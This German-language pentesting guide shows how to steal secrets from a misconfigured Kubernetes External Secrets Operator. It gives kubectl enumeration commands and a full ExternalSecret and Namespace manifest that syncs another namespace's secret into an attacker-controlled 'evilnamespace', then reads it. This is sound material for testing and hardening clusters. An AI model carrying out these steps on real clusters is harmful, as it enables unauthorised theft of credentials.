External Secret Operator
Reading time: 3 minutes
Der ursprüngliche Autor dieser Seite ist Fares
Diese Seite gibt einige Hinweise, wie Sie Geheimnisse von einem falsch konfigurierten ESO oder einer Anwendung stehlen können, die ESO verwendet, um ihre Geheimnisse zu synchronisieren.
Haftungsausschluss
Die unten gezeigte Technik kann nur funktionieren, wenn bestimmte Umstände erfüllt sind. Zum Beispiel hängt es von den Anforderungen ab, die erforderlich sind, um ein Geheimnis in einem Namespace zu synchronisieren, den Sie besitzen / kompromittiert haben. Sie müssen es selbst herausfinden.
Voraussetzungen
- Ein Fuß in einem Kubernetes / OpenShift-Cluster mit Administratorrechten in einem Namespace
- Lesezugriff auf mindestens ExternalSecret auf Cluster-Ebene
- Herausfinden, ob erforderliche Labels / Annotationen oder Gruppenmitgliedschaften benötigt werden, die es ESO ermöglichen, Ihr Geheimnis zu synchronisieren. Wenn Sie Glück haben, können Sie beliebige definierte Geheimnisse frei stehlen.
Informationen über vorhandene ClusterSecretStore sammeln
Vorausgesetzt, Sie haben einen Benutzer, der genügend Rechte hat, um diese Ressource zu lesen; beginnen Sie damit, zunächst vorhandene ClusterSecretStores aufzulisten.
kubectl get ClusterSecretStore
ExternalSecret Aufzählung
Angenommen, Sie haben einen ClusterSecretStore mit dem Namen mystore gefunden. Fahren Sie fort, indem Sie das zugehörige externalsecret auflisten.
kubectl get externalsecret -A | grep mystore
Diese Ressource ist namespaced, also fügen Sie die Option -A hinzu, um in allen Namespaces zu suchen, es sei denn, Sie wissen bereits, nach welchem Namespace Sie suchen.
Sie sollten eine Liste der definierten externalsecrets erhalten. Angenommen, Sie haben ein externalsecret-Objekt namens mysecret gefunden, das im Namespace mynamespace definiert und verwendet wird. Sammeln Sie ein wenig mehr Informationen darüber, welche Art von Geheimnis es enthält.
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
Die Teile zusammenfügen
Von hier aus können Sie den Namen eines oder mehrerer Geheimnisse (wie im Secret-Ressourcen definiert) erhalten. Sie erhalten eine Ausgabe ähnlich wie:
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
Bisher haben wir:
- Name eines ClusterSecretStore
- Name eines ExternalSecret
- Name des Secrets
Jetzt, da wir alles haben, was wir brauchen, können Sie ein ExternalSecret erstellen (und gegebenenfalls einen neuen Namespace patchen/erstellen, um die Voraussetzungen zu erfüllen, die erforderlich sind, um Ihr neues Secret synchronisiert zu bekommen):
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
Nach ein paar Minuten, wenn die Synchronisationsbedingungen erfüllt sind, sollten Sie in der Lage sein, das geleakte Geheimnis in Ihrem Namespace zu sehen.
kubectl get secret leaked_secret -o yaml